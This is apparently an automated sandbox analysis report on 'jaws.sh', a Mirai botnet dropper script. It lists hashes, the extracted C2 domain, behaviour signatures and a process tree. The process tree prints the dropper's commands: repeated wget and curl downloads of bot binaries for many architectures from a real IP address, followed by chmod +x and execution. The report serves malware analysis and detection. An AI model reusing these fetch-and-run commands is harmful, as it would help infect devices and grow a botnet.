Analysis
- max time kernel
15s - max time network
16s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
03/10/2026, 16:57
Static task
static1
Behavioral task
behavioral1
Sample
jaws.sh
Resource
ubuntu1804-amd64-20260513-en
Behavioral task
behavioral2
Sample
jaws.sh
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
jaws.sh
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
jaws.sh
Resource
debian9-mipsel-20260513-en
General
- Target jaws.sh
- Size 2KB
- Sample261003-vgpc1ashkb
- SHA256 a2c4604122ae8071f0e36b882f3ac6dda0aee393c1fdb34db8dc4f66e8734fe8
- MD5 fd0f7cea7e645edf6e89fe4e52e40746
- SHA1 ad267423bbdc88f71d271989c8ccfdde6da504e0
- SHA512 aaddb5fcb16e8ef5288f9cfefa1601b5233053e1f02bd8c5286c8c66d6338fe1fd412a319cb05a17f6d78249f4f7d57b567fa2135f322e873d6050af8c854e1a
- TLSH T19F4172C530C54BF82CE3A9D766E90CA8F1C1E1FA55C59FA658FEB4F8585DD043181E82
- MD5 SHA1 SHA512 TLSH
Malware Config
Extracted
-
mirai
-
sldoaikdjiqwjpdqsas.mooo.com
Extracted
-
mirai
-
sldoaikdjiqwjpdqsas.mooo.com
Signatures
- Mirai ARM payload 1 IoCs
resource yara_rule behavioral2/files/fstream-7.dat family_mirai_arm - File and Directory Permissions Modification 1 TTPs 13 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 741 chmod 782 chmod 787 chmod 792 chmod 797 chmod 807 chmod 812 chmod 823 chmod 684 chmod 725 chmod 777 chmod 802 chmod 817 chmod - Deletes itself 12 IoCs
pid Process 818 WTH 813 WTH 808 WTH 803 WTH 798 WTH 793 WTH 788 WTH 783 WTH 778 WTH 832 WTH 827 WTH 835 WTH - Executes dropped EXE 13 IoCs
ioc pid Process /tmp/WTH 685 jaws.sh /tmp/WTH 728 jaws.sh /tmp/WTH 742 jaws.sh /tmp/WTH 778 jaws.sh /tmp/WTH 783 jaws.sh /tmp/WTH 788 jaws.sh /tmp/WTH 793 jaws.sh /tmp/WTH 798 jaws.sh /tmp/WTH 803 jaws.sh /tmp/WTH 808 jaws.sh /tmp/WTH 813 jaws.sh /tmp/WTH 818 jaws.sh /tmp/WTH 824 jaws.sh - Traces itself 20 IoCs
Traces itself to prevent debugging attempts
pid Process 778 WTH 783 WTH 788 WTH 793 WTH 798 WTH 803 WTH 808 WTH 813 WTH 818 WTH 824 WTH 828 WTH 826 WTH 830 WTH 833 WTH 832 WTH 834 WTH 829 WTH 827 WTH 831 WTH 835 WTH - Changes its process name 10 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself httpd 793 WTH Changes the process name, possibly in an attempt to hide itself httpd 798 WTH Changes the process name, possibly in an attempt to hide itself httpd 778 WTH Changes the process name, possibly in an attempt to hide itself httpd 808 WTH Changes the process name, possibly in an attempt to hide itself httpd 803 WTH Changes the process name, possibly in an attempt to hide itself httpd 788 WTH Changes the process name, possibly in an attempt to hide itself httpd 818 WTH Changes the process name, possibly in an attempt to hide itself httpd 783 WTH Changes the process name, possibly in an attempt to hide itself httpd 813 WTH Changes the process name, possibly in an attempt to hide itself httpd 824 WTH - Checks CPU configuration 1 TTPs 13 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl -
description ioc Process File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/653/cmdline WTH File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/1/cmdline WTH File opened for reading /proc/1/cmdline WTH File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/653/cmdline WTH File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/1/cmdline WTH File opened for reading /proc/1/cmdline WTH File opened for reading /proc/1/cmdline WTH File opened for reading /proc/653/cmdline WTH File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/653/cmdline WTH File opened for reading /proc/self/auxv curl File opened for reading /proc/653/cmdline WTH File opened for reading /proc/1/cmdline WTH File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/653/cmdline WTH File opened for reading /proc/653/cmdline WTH File opened for reading /proc/1/cmdline WTH File opened for reading /proc/1/cmdline WTH File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/653/cmdline WTH File opened for reading /proc/653/cmdline WTH File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/653/cmdline WTH File opened for reading /proc/1/cmdline WTH File opened for reading /proc/1/cmdline WTH - System Network Configuration Discovery 1 TTPs 3 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 687 wget 699 curl 722 cat - Writes file to tmp directory 34 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/WTH WTH File opened for modification /tmp/WTH jaws.sh File opened for modification /tmp/bot.arm6 wget File opened for modification /tmp/bot.ppc wget File opened for modification /tmp/WTH WTH File opened for modification /tmp/bot.mips wget File opened for modification /tmp/bot.arm7 curl File opened for modification /tmp/WTH WTH File opened for modification /tmp/WTH WTH File opened for modification /tmp/WTH WTH File opened for modification /tmp/WTH WTH File opened for modification /tmp/bot.arm wget File opened for modification /tmp/bot.ppc curl File opened for modification /tmp/bot.arm7 wget File opened for modification /tmp/bot.x86 wget File opened for modification /tmp/bot.mips curl File opened for modification /tmp/bot.arm curl File opened for modification /tmp/bot.arm5 wget File opened for modification /tmp/bot.sh4 curl File opened for modification /tmp/WTH WTH File opened for modification /tmp/bot.m68k wget File opened for modification /tmp/bot.m68k curl File opened for modification /tmp/bot.i686 curl File opened for modification /tmp/bot.x86 curl File opened for modification /tmp/bot.arm6 curl File opened for modification /tmp/bot.arc curl File opened for modification /tmp/WTH WTH File opened for modification /tmp/bot.mpsl wget File opened for modification /tmp/bot.mpsl curl File opened for modification /tmp/bot.arm5 curl File opened for modification /tmp/bot.spc curl File opened for modification /tmp/bot.sh4 wget File opened for modification /tmp/WTH WTH File opened for modification /tmp/WTH WTH
Processes
-
/tmp/jaws.sh/tmp/jaws.sh1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:653 -
/usr/bin/wgetwget http://23.155.44.87/bot.x862⤵
- Writes file to tmp directory
PID:658
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/usr/bin/curlcurl -O http://23.155.44.87/bot.x862⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:682
-
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/bin/catcat bot.x862⤵PID:683
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/bin/chmodchmod +x bot.x86 jaws.sh systemd-private-193d46d9a72f490f9743b0a8d8072684-systemd-timedated.service-wyHMfy WTH2⤵
- File and Directory Permissions Modification
PID:684
-
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/tmp/WTH./WTH jaws.selfrep2⤵PID:685
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/usr/bin/wgetwget http://23.155.44.87/bot.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:687
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/usr/bin/curlcurl -O http://23.155.44.87/bot.mips2⤵
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:699
-
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/bin/catcat bot.mips2⤵
- System Network Configuration Discovery
PID:722
-
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/bin/chmodchmod +x bot.mips bot.x86 jaws.sh systemd-private-193d46d9a72f490f9743b0a8d8072684-systemd-timedated.service-wyHMfy WTH2⤵
- File and Directory Permissions Modification
PID:725
-
-
/tmp/WTH./WTH jaws.selfrep2⤵PID:728
-
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/usr/bin/wgetwget http://23.155.44.87/bot.mpsl2⤵
- Writes file to tmp directory
PID:731
-
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/usr/bin/curlcurl -O http://23.155.44.87/bot.mpsl2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:739
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/bin/catcat bot.mpsl2⤵PID:740
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/bin/chmodchmod +x bot.mips bot.mpsl bot.x86 jaws.sh systemd-private-193d46d9a72f490f9743b0a8d8072684-systemd-timedated.service-wyHMfy WTH2⤵
- File and Directory Permissions Modification
PID:741
-
-
/tmp/WTH./WTH jaws.selfrep2⤵PID:742
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/usr/bin/wgetwget http://23.155.44.87/bot.arm2⤵
- Writes file to tmp directory
PID:744
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/usr/bin/curlcurl -O http://23.155.44.87/bot.arm2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:768
-
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/bin/catcat bot.arm2⤵PID:776
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/bin/chmodchmod +x bot.arm bot.mips bot.mpsl bot.x86 jaws.sh systemd-private-193d46d9a72f490f9743b0a8d8072684-systemd-timedated.service-wyHMfy WTH2⤵
- File and Directory Permissions Modification
PID:777
-
-
/tmp/WTH./WTH jaws.selfrep2⤵
- Deletes itself
- Traces itself
- Changes its process name
- Reads runtime system information
- Writes file to tmp directory
PID:778
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/usr/bin/wgetwget http://23.155.44.87/bot.arm52⤵
- Writes file to tmp directory
PID:779
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/usr/bin/curlcurl -O http://23.155.44.87/bot.arm52⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:780
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/bin/chmodchmod +x bot.arm bot.arm5 bot.mips bot.mpsl bot.x86 jaws.sh systemd-private-193d46d9a72f490f9743b0a8d8072684-systemd-timedated.service-wyHMfy WTH2⤵
- File and Directory Permissions Modification
PID:782
-
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/tmp/WTH./WTH jaws.selfrep2⤵
- Deletes itself
- Traces itself
- Changes its process name
- Reads runtime system information
- Writes file to tmp directory
PID:783
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/usr/bin/wgetwget http://23.155.44.87/bot.arm62⤵
- Writes file to tmp directory
PID:784
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/usr/bin/curlcurl -O http://23.155.44.87/bot.arm62⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:785
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/bin/chmodchmod +x bot.arm bot.arm5 bot.arm6 bot.mips bot.mpsl bot.x86 jaws.sh systemd-private-193d46d9a72f490f9743b0a8d8072684-systemd-timedated.service-wyHMfy WTH2⤵
- File and Directory Permissions Modification
PID:787
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/tmp/WTH./WTH jaws.selfrep2⤵
- Deletes itself
- Traces itself
- Changes its process name
- Reads runtime system information
- Writes file to tmp directory
PID:788
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/usr/bin/wgetwget http://23.155.44.87/bot.arm72⤵
- Writes file to tmp directory
PID:789
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/usr/bin/curlcurl -O http://23.155.44.87/bot.arm72⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:790
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/bin/chmodchmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.mips bot.mpsl bot.x86 jaws.sh systemd-private-193d46d9a72f490f9743b0a8d8072684-systemd-timedated.service-wyHMfy WTH2⤵
- File and Directory Permissions Modification
PID:792
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/tmp/WTH./WTH jaws.selfrep2⤵
- Deletes itself
- Traces itself
- Changes its process name
- Reads runtime system information
- Writes file to tmp directory
PID:793
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/usr/bin/wgetwget http://23.155.44.87/bot.ppc2⤵
- Writes file to tmp directory
PID:794
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/usr/bin/curlcurl -O http://23.155.44.87/bot.ppc2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:795
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/bin/chmodchmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.mips bot.mpsl bot.ppc bot.x86 jaws.sh systemd-private-193d46d9a72f490f9743b0a8d8072684-systemd-timedated.service-wyHMfy WTH2⤵
- File and Directory Permissions Modification
PID:797
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/tmp/WTH./WTH jaws.selfrep2⤵
- Deletes itself
- Traces itself
- Changes its process name
- Reads runtime system information
- Writes file to tmp directory
PID:798
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/usr/bin/wgetwget http://23.155.44.87/bot.m68k2⤵
- Writes file to tmp directory
PID:799
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/usr/bin/curlcurl -O http://23.155.44.87/bot.m68k2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:800
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/bin/chmodchmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.m68k bot.mips bot.mpsl bot.ppc bot.x86 jaws.sh systemd-private-193d46d9a72f490f9743b0a8d8072684-systemd-timedated.service-wyHMfy WTH2⤵
- File and Directory Permissions Modification
PID:802
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/tmp/WTH./WTH jaws.selfrep2⤵
- Deletes itself
- Traces itself
- Changes its process name
- Reads runtime system information
- Writes file to tmp directory
PID:803
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/usr/bin/wgetwget http://23.155.44.87/bot.spc2⤵PID:804
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/usr/bin/curlcurl -O http://23.155.44.87/bot.spc2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:805
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/bin/chmodchmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.m68k bot.mips bot.mpsl bot.ppc bot.spc bot.x86 jaws.sh systemd-private-193d46d9a72f490f9743b0a8d8072684-systemd-timedated.service-wyHMfy WTH2⤵
- File and Directory Permissions Modification
PID:807
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/tmp/WTH./WTH jaws.selfrep2⤵
- Deletes itself
- Traces itself
- Changes its process name
- Reads runtime system information
- Writes file to tmp directory
PID:808
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/usr/bin/wgetwget http://23.155.44.87/bot.i6862⤵PID:809
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/usr/bin/curlcurl -O http://23.155.44.87/bot.i6862⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:810
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/bin/chmodchmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.i686 bot.m68k bot.mips bot.mpsl bot.ppc bot.spc bot.x86 jaws.sh systemd-private-193d46d9a72f490f9743b0a8d8072684-systemd-timedated.service-wyHMfy WTH2⤵
- File and Directory Permissions Modification
PID:812
-
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/tmp/WTH./WTH jaws.selfrep2⤵
- Deletes itself
- Traces itself
- Changes its process name
- Reads runtime system information
- Writes file to tmp directory
PID:813
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/usr/bin/wgetwget http://23.155.44.87/bot.sh42⤵
- Writes file to tmp directory
PID:814
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/usr/bin/curlcurl -O http://23.155.44.87/bot.sh42⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:815
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/bin/chmodchmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.i686 bot.m68k bot.mips bot.mpsl bot.ppc bot.sh4 bot.spc bot.x86 jaws.sh systemd-private-193d46d9a72f490f9743b0a8d8072684-systemd-timedated.service-wyHMfy WTH2⤵
- File and Directory Permissions Modification
PID:817
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/tmp/WTH./WTH jaws.selfrep2⤵
- Deletes itself
- Traces itself
- Changes its process name
- Reads runtime system information
- Writes file to tmp directory
PID:818
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/usr/bin/wgetwget http://23.155.44.87/bot.arc2⤵PID:819
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/usr/bin/curlcurl -O http://23.155.44.87/bot.arc2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:820
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/bin/chmodchmod +x bot.arc bot.arm bot.arm5 bot.arm6 bot.arm7 bot.i686 bot.m68k bot.mips bot.mpsl bot.ppc bot.sh4 bot.spc bot.x86 jaws.sh systemd-private-193d46d9a72f490f9743b0a8d8072684-systemd-timedated.service-wyHMfy WTH2⤵
- File and Directory Permissions Modification
PID:823
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/tmp/WTH./WTH jaws.selfrep2⤵
- Deletes itself
- Traces itself
- Changes its process name
- Reads runtime system information
- Writes file to tmp directory
PID:824
-
Network
MITRE ATT&CK Enterprise v16
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /tmp/WTH
- Size 173KB
- SHA256 72363a98be6bc85d3df0001c1be91fe98869c19c20fcf04956b4ea538d58440f
- MD5 d458dd1e30271b0ca7934a1c426aaab6
- SHA1 b27d880f05f2b6ef634a57a8e2e2f9b7c52c7aab
- SHA512 d62d7562198d77b01faf41e11b96844cfdbe47c4030d1e6e7b07b9d9326f1fb78416bbadff0d7b178a2edd09fb4b56eea1478cca0bfa82196718914c0b2cfa46
- SSDEEP 3072:5Nziu77DcHpWb/zZyjGkgiQy6Q37jScmyA:nzim7DXCXQY37+cmp
- TLSH T1E004971A6E228F6DF668873047B74E25976D23D627E1D640E2ACC1146F2039E641FFEC
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /tmp/WTH
- Size 177KB
- SHA256 23adc923f7baacd4afe877f79ea81df13f581ca2350ee99c5151d75d32efdee1
- MD5 9dcfde6ac38e1613241e8e848bd8f36c
- SHA1 ed0093e2e1ab9ab721969bbe52cc4bee6d4c17f5
- SHA512 f96fd6d80b9c588fcd779a1ffdd94ae664dea638daccbff79c74e1c3820ebb762882958c97a7f93a5b21efe74b82087afc8bfa5b348affebd17738eab0beaba1
- SSDEEP 1536:vJPeB4LNdHbEunieoNVLUYcI+LDeaD57pQ+z8oy9ZAknjrofYRLLLegwhMTXUtHr:1eB4fbEEkvFcpI08b99OYRzesSCEo6
- TLSH T1B704C81AAF550FBBDCAFCD3706E90B0239CC944722A53B363674D528F54A54B4AE3C68
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /tmp/WTH
- Size 134KB
- SHA256 8867050a0b39fc2cbc43ba3953393fb257aa2d1f02b2e7aac9138be3da5c54c9
- MD5 2b0f34ab4a74df7a371221678946e21f
- SHA1 b101c17c9a2d9b8253ef35fe4783ccca9fd13d7e
- SHA512 d0e42787f2f6a0a26ab652393d3bdba6fb7b9ba84beca436c27b70946ae120924e687234cc757eb16f599b222e2eded5b514bf78c69a423cebdc2d2ee2b224c2
- SSDEEP 1536:fCdmz0FAluXfHky7OiRByE8sAplS4Vgq+zT58Fjm9lg1pFlyQNlejwywN5cvLKVp:fCgSkyyKv8sF4vOaFjmWPkZhGD
- TLSH T186D30945F8414F23C6C612BBFB5E428D3B2A17E8D2EE720399256F64378785B0E37946
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /tmp/bot.x86
- Size 90KB
- SHA256 7b56a0fb93baac5ce50c04fe92b6aa6f95f47f813287d1dd9306ba790ddf23b8
- MD5 7d315156fdc19d8975d2fc2d18e3e60c
- SHA1 f7619509fe73f48c74afd057ad9a5d1fda9e4298
- SHA512 2f1fdee5754e92b4c7a9ede3ca62d3b527a103be200a20b0f99bf34e631b7a1de9e2037ec653f104dbf7411f8c14a52a2aba416e29a67c48b01edcda27c08159
- SSDEEP 1536:TJ3hJePd5hW3/FzQ1jqgg6pm41z5DVOqr7m1cE0vBFzSuelm3FnI/a8Iu2HS5Mt:hk1jVg6ptV5DVOq7m10v3klm39IiTymt
- TLSH T152936CC5F683E4F5EC4301B16037E7335B37E5B9102AEA83D3695932ECA1681DA16B9C
- MD5 SHA1 SHA512 SSDEEP TLSH